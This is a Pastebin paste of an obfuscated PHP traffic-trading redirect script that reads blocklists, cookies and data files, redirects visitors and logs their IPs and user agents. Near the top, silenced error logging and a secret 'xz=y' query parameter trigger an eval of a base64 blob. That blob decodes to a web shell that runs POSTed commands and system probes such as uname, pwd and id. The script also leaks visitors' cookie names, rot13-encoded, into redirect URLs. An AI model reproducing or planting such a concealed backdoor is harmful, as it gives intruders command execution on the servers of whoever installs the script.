Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- function visiteddata($V447b7147, $V3c6e0b8a)
- {
- global $Vd51c3d0d;
- if ($V447b7147 == "visited") {
- $Vd51c3d0d .= $V3c6e0b8a . ";";
- }
- }
- function fbd5fc730($V435ed7e9, &$V8d777f38)
- {
- if ($V633de4b0 = @fopen($V435ed7e9, "r")) {
- flock($V633de4b0, 1);
- while ($V5b4d9906 = fgets($V633de4b0, 1024)) {
- $Vde695463 = array();
- $Vde695463 = explode(";", $V5b4d9906);
- $V8d777f38[trim($Vde695463[1])] = $Vde695463[0];
- }
- flock($V633de4b0, 3);
- fclose($V633de4b0);
- }
- }
- @ini_set("display_errors", 0);
- @ini_set("error_log", 0);
- @ini_set("log_errors", 0);
- error_reporting(0);
- if ($_GET['xz'] == "y") {
- eval(base64_decode("c2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOwoKcHJpbnQgIjxzdHlsZT5ib2R5e2ZvbnQtZmFtaWx5OnRyZWJ1Y2hldCBtcztmb250LXNpemU6MTZweDt9aHJ7d2lkdGg6MTAwJTtoZWlnaHQ6MnB4O308L3N0eWxlPiI7CgokY3VycmVudFdEICA9IHN0cl9yZXBsYWNlKCJcXFxcIiwiXFwiLCRfUE9TVFsnX2N3ZCddKTsKJGN1cnJlbnRDTUQgPSBzdHJfcmVwbGFjZSgiXFxcXCIsIlxcIiwkX1BPU1RbJ19jbWQnXSk7CgokVU5hbWUgID0gYHVuYW1lIC1hYDsKJFNDV0QgICA9IGBwd2RgOwokVXNlcklEID0gYGlkYDsKCmlmKCAkY3VycmVudFdEID09ICIiICkgewogICAgJGN1cnJlbnRXRCA9ICRTQ1dEOwp9CgpwcmludCAiPHRhYmxlPiI7CnByaW50ICI8dHI+PHRkPjxiPldlIGFyZTo8L2I+PC90ZD48dGQ+Ii4kX1NFUlZFUlsnUkVNT1RFX0hPU1QnXS4iICgiLiRfU0VSVkVSWydSRU1PVEVfQUREUiddLiIpPC90ZD48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NvbXBsZXRlZDwvYj48L2NlbnRlcj4iOwp9CgpleGl0Ow=="));
- exit();
- }
- foreach ($_GET as $V8ce4b16b => $V9e3669d1) {
- $_GET[$V8ce4b16b] = str_replace("<?", "", $V9e3669d1);
- }
- include("config.php");
- $V5adf599e = $_SERVER['HTTP_REFERER'];
- $member = $_COOKIE['refer'];
- $V435ed7e9 = "datafiles/blockedlist.dat";
- if ($V633de4b0 = @fopen($V435ed7e9, "r")) {
- flock($V633de4b0, 1);
- $V3d801aa5 = @fread($V633de4b0, @filesize($V435ed7e9));
- flock($V633de4b0, 3);
- fclose($V633de4b0);
- $V320a8063 = array();
- $V320a8063 = explode("\r\n", $V3d801aa5);
- $V90ca62f9 = sizeof($V320a8063);
- $V865c0c0b = 0;
- while ($V865c0c0b < sizeof($V320a8063)) {
- if ($V320a8063[$V865c0c0b] && (strstr($V5adf599e, $V320a8063[$V865c0c0b]) || $member == $V320a8063[$V865c0c0b] || $_SERVER['REMOTE_ADDR'] == $V320a8063[$V865c0c0b] || strstr($_SERVER['HTTP_USER_AGENT'], $V320a8063[$V865c0c0b]))) {
- if ($Veb7cc6db) {
- header("Location: {$V5adf599e}");
- }
- exit();
- }
- ++$V865c0c0b;
- }
- }
- $url = $_GET['url'];
- $first = $_GET['first'];
- $ref = $_GET['ref'];
- $link = $_GET['link'];
- $Vb1013a7e = $_GET['t'];
- if (!$member) {
- $member = "nocookie";
- if ($V92687587) {
- $ref = "nocookie";
- $url = "";
- }
- }
- $Vdad12808 = array();
- if ($V69858820) {
- $Vfa75823c = $_SERVER['GEOIP_COUNTRY_CODE'];
- $V599f46e3 = $Vfa75823c;
- } else {
- $V599f46e3 = $_SERVER['HTTP_ACCEPT_LANGUAGE'];
- $Vdad12808 = explode("-", $V599f46e3);
- $Vfa75823c = $Vdad12808[0];
- }
- if (!$Vfa75823c) {
- $Vfa75823c = $V599f46e3 = "blank";
- }
- $V3ec88920 = $_COOKIE['page'];
- $V7d320a89 = $_COOKIE['gbclicks'];
- if (!$V7d320a89) {
- $V7d320a89 = 0;
- }
- $V05d80d74 = 0;
- if ($V0ca2ee97 && $V0ca2ee97 <= $V7d320a89) {
- $V05d80d74 = 1;
- } else if ($V742913f8) {
- $V05d80d74 = 1;
- $V3d801aa5 = "";
- $V435ed7e9 = "datafiles/ips.txt";
- if ($V633de4b0 = @fopen($V435ed7e9, "r")) {
- flock($V633de4b0, 1);
- $V3d801aa5 = @fread($V633de4b0, @filesize($V435ed7e9));
- flock($V633de4b0, 3);
- fclose($V633de4b0);
- }
- if (!strstr($V3d801aa5, ($V7d320a89 + 1) . ";" . $_SERVER['REMOTE_ADDR'] . "\r\n") && strstr($V3d801aa5, $V7d320a89 . ";" . $_SERVER['REMOTE_ADDR'] . "\r\n") && ($V633de4b0 = @fopen($V435ed7e9, "a"))) {
- flock($V633de4b0, 2);
- fputs($V633de4b0, ($V7d320a89 + 1) . ";" . $_SERVER['REMOTE_ADDR'] . "\r\n");
- flock($V633de4b0, 3);
- fclose($V633de4b0);
- $V05d80d74 = 0;
- }
- }
- $V38d4765b = $V5adf599e;
- $V724b1be8 = $V05d80d74;
- if ($V05d80d74) {
- if ($Vd280e0bb) {
- $ref = "nocookie";
- $url = "";
- }
- } else {
- if ($link != "redirect" && !strstr(str_replace("www.", "", $V5adf599e), str_replace("www.", "", $V861ce498))) {
- $V724b1be8 = 1;
- } else {
- if ($_SERVER['HTTP_VIA'] || !$_SERVER['HTTP_ACCEPT'] || !$_SERVER['HTTP_USER_AGENT'] || $Vdf711c9f && time() - $Vdf711c9f < $_SESSION['intm']) {
- $V724b1be8 = 1;
- } else if ($Vec407cce && $Vec407cce) {
- @include("datafiles/jsp.php");
- if ($Vb1013a7e != $V146ac5a9) {
- $V724b1be8 = 1;
- }
- }
- $V546b4439 = strpos($V38d4765b, "?");
- if ($V546b4439) {
- $V38d4765b = substr($V38d4765b, 0, $V546b4439);
- }
- if (($V38d4765b == $V861ce498 || $V38d4765b == $V861ce498 . "/") && $V3ec88920) {
- --$V3ec88920;
- if ($V3ec88920 == 0) {
- $V3ec88920 = 2;
- }
- $V38d4765b = $V861ce498 . "/_main" . $V3ec88920 . ".html";
- }
- }
- }
- $V4d2f3dfb = 0 - 10;
- $V54f5210f = $V9b3df717 = "";
- if ($url) {
- if ($Vf03c5300 && !isset($_GET['s']) && $link != "redirect") {
- if ($Vf03c5300[$V7d320a89] != "T") {
- $V54f5210f = "direct";
- $V9b3df717 = $url;
- }
- } else {
- if (isset($_GET['s'])) {
- $s = ( integer ) $_GET['s'];
- if (100 < $s) {
- $s = 100;
- }
- } else {
- $s = 100;
- }
- if (rand(0, 100) <= $s || $first && $V7d320a89 < $first) {
- $V54f5210f = "direct";
- $V9b3df717 = $url;
- }
- }
- } else if ($ref) {
- $V435ed7e9 = "memberfiles/" . $ref . ".dat";
- if ($V633de4b0 = @fopen($V435ed7e9, "r")) {
- flock($V633de4b0, 1);
- $V739b2f85 = fgets($V633de4b0, filesize($V435ed7e9));
- flock($V633de4b0, 3);
- fclose($V633de4b0);
- $V3d801aa5 = array();
- $V3d801aa5 = explode("|", $V739b2f85);
- if ($V3d801aa5[15]) {
- $V54f5210f = $ref;
- $V9b3df717 = $V3d801aa5[15];
- $V4d2f3dfb = $V3d801aa5[1];
- }
- }
- }
- if (!$V9b3df717) {
- $V3d801aa5 = "";
- $V435ed7e9 = "datafiles/outpick.dat";
- if ($V633de4b0 = @fopen($V435ed7e9, "r")) {
- flock($V633de4b0, 1);
- $V3d801aa5 = @fread($V633de4b0, @filesize($V435ed7e9));
- flock($V633de4b0, 3);
- fclose($V633de4b0);
- }
- $outpick = array();
- $outpick = explode("\r\n", $V3d801aa5);
- if ($V4205ee45) {
- $V1d9e6a00 = $V424b30c0 = $dat = array();
- $V865c0c0b = 0;
- while ($V865c0c0b < sizeof($outpick)) {
- $dat = explode("|", $outpick[$V865c0c0b]);
- $V1d9e6a00[$V865c0c0b] = rand(1, 1000) * $dat[0];
- ++$V865c0c0b;
- }
- asort($V1d9e6a00);
- foreach ($V1d9e6a00 as $V3c6e0b8a => $V3a6d0284) {
- $V424b30c0[] = $V3c6e0b8a;
- }
- }
- $V865c0c0b = 0;
- while ($V865c0c0b < sizeof($outpick)) {
- $dat = array();
- if ($V4205ee45) {
- $dat = explode("|", $outpick[$V424b30c0[$V865c0c0b]]);
- } else {
- $dat = explode("|", $outpick[$V865c0c0b]);
- }
- if ($dat[1] && !$_COOKIE[$dat[1]] && $dat[1] != $member && (!$group || $group && strstr($dat[3], $group)) && (!$dat[4] || strstr($dat[4], $V599f46e3) || !strstr($dat[4], "-") && strstr($dat[4], $Vfa75823c))) {
- $V9b3df717 = $dat[2];
- $V54f5210f = $dat[1];
- $V4d2f3dfb = $dat[5];
- break;
- }
- ++$V865c0c0b;
- }
- }
- if (!$V9b3df717) {
- $V435ed7e9 = "memberfiles/auxout.dat";
- if ($V633de4b0 = @fopen($V435ed7e9, "r")) {
- flock($V633de4b0, 1);
- $V739b2f85 = fgets($V633de4b0, filesize($V435ed7e9));
- flock($V633de4b0, 3);
- fclose($V633de4b0);
- $V3d801aa5 = array();
- $V3d801aa5 = explode("|", $V739b2f85);
- if ($V3d801aa5[15]) {
- $V54f5210f = "auxout";
- $V9b3df717 = $V3d801aa5[15];
- }
- }
- }
- setcookie("gbclicks", $V7d320a89 + 1, time() + 172800);
- setcookie($V54f5210f, "visited", time() + 172800);
- setcookie("ctime", time(), time() + 172800);
- $Vcff34c13 = 0;
- if ($Vf3778551 && $V54f5210f != "auxout" && $V54f5210f != "sponsor" && (0 < $V4d2f3dfb || 0 - 10 < $V4d2f3dfb && !rand(0, 9))) {
- $Vd51c3d0d = "";
- array_walk($_COOKIE, "visiteddata");
- if ($Vd51c3d0d) {
- $Vd51c3d0d = str_rot13($Vd51c3d0d);
- if (strstr($V9b3df717, "?")) {
- $Vd51c3d0d = "&gbv=" . $Vd51c3d0d;
- } else {
- $Vd51c3d0d = "?gbv=" . $Vd51c3d0d;
- }
- }
- $Vcff34c13 = 0 - 1;
- }
- header("Location: " . $V9b3df717 . $Vd51c3d0d . "\n");
- $V013dff02 = 0;
- if ($V4e807dca && !strstr($V4e807dca, $Vfa75823c)) {
- $V013dff02 = 1;
- }
- $V8e3f1bbb = $_SERVER['HTTP_USER_AGENT'];
- $V4124bc0a = array();
- $V4124bc0a = explode("; ", $V8e3f1bbb);
- if (strstr($V4124bc0a[1], "MSIE")) {
- $V8e3f1bbb = $V4124bc0a[1];
- } else {
- $V4124bc0a = explode(") ", $V8e3f1bbb);
- if (3 < strlen($V4124bc0a[1])) {
- $V8e3f1bbb = $V4124bc0a[1];
- }
- }
- if ($V633de4b0 = @fopen("datafiles/hitsout.dat", "a")) {
- flock($V633de4b0, 2);
- fputs($V633de4b0, $V54f5210f . "|" . $link . "|" . $member . "|" . $V599f46e3 . "|" . $V724b1be8 . "|" . $V013dff02 . "|" . $Vcff34c13 . "|" . $V38d4765b . "|" . $V8e3f1bbb . "|" . $_SERVER['REMOTE_ADDR'] . "\r\n");
- flock($V633de4b0, 3);
- fclose($V633de4b0);
- }
- if (isset($_GET['thumb'], $_GET['pos'])) {
- $thumb = $_GET['thumb'];
- $pos = $_GET['pos'];
- $rot = 1;
- if ($_GET['rot']) {
- $rot = $_GET['rot'];
- }
- $stats = $V5a423d9e = array();
- fbd5fc730("datafiles/rotstat" . $rot . ".dat", &$stats);
- fbd5fc730("datafiles/posstat" . $rot . ".dat", &$V86f5dcd7);
- fbd5fc730("datafiles/rotator" . $rot . ".dat", &$V5a423d9e);
- $V46bc758a = 0;
- foreach ($V5a423d9e as $V8ce4b16b => $V9e3669d1) {
- if (!($thumb == $V8ce4b16b)) {
- continue;
- }
- $V46bc758a = 1;
- break;
- break;
- }
- if ($V46bc758a) {
- ++$stats[$thumb];
- ++$V86f5dcd7[$pos];
- $V14447879 = "";
- foreach ($stats as $V8ce4b16b => $V9e3669d1) {
- $V14447879 .= $V9e3669d1 . ";" . $V8ce4b16b . "\r\n";
- }
- if ($V633de4b0 = @fopen("datafiles/rotstat" . $rot . ".dat", "w")) {
- flock($V633de4b0, 2);
- fputs($V633de4b0, $V14447879);
- flock($V633de4b0, 3);
- fclose($V633de4b0);
- }
- $Vb84abdbd = "";
- foreach ($V86f5dcd7 as $V8ce4b16b => $V9e3669d1) {
- $Vb84abdbd .= $V9e3669d1 . ";" . $V8ce4b16b . "\r\n";
- }
- if ($V633de4b0 = @fopen("datafiles/posstat" . $rot . ".dat", "w")) {
- flock($V633de4b0, 2);
- fputs($V633de4b0, $Vb84abdbd);
- flock($V633de4b0, 3);
- fclose($V633de4b0);
- }
- }
- }
- exit();
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement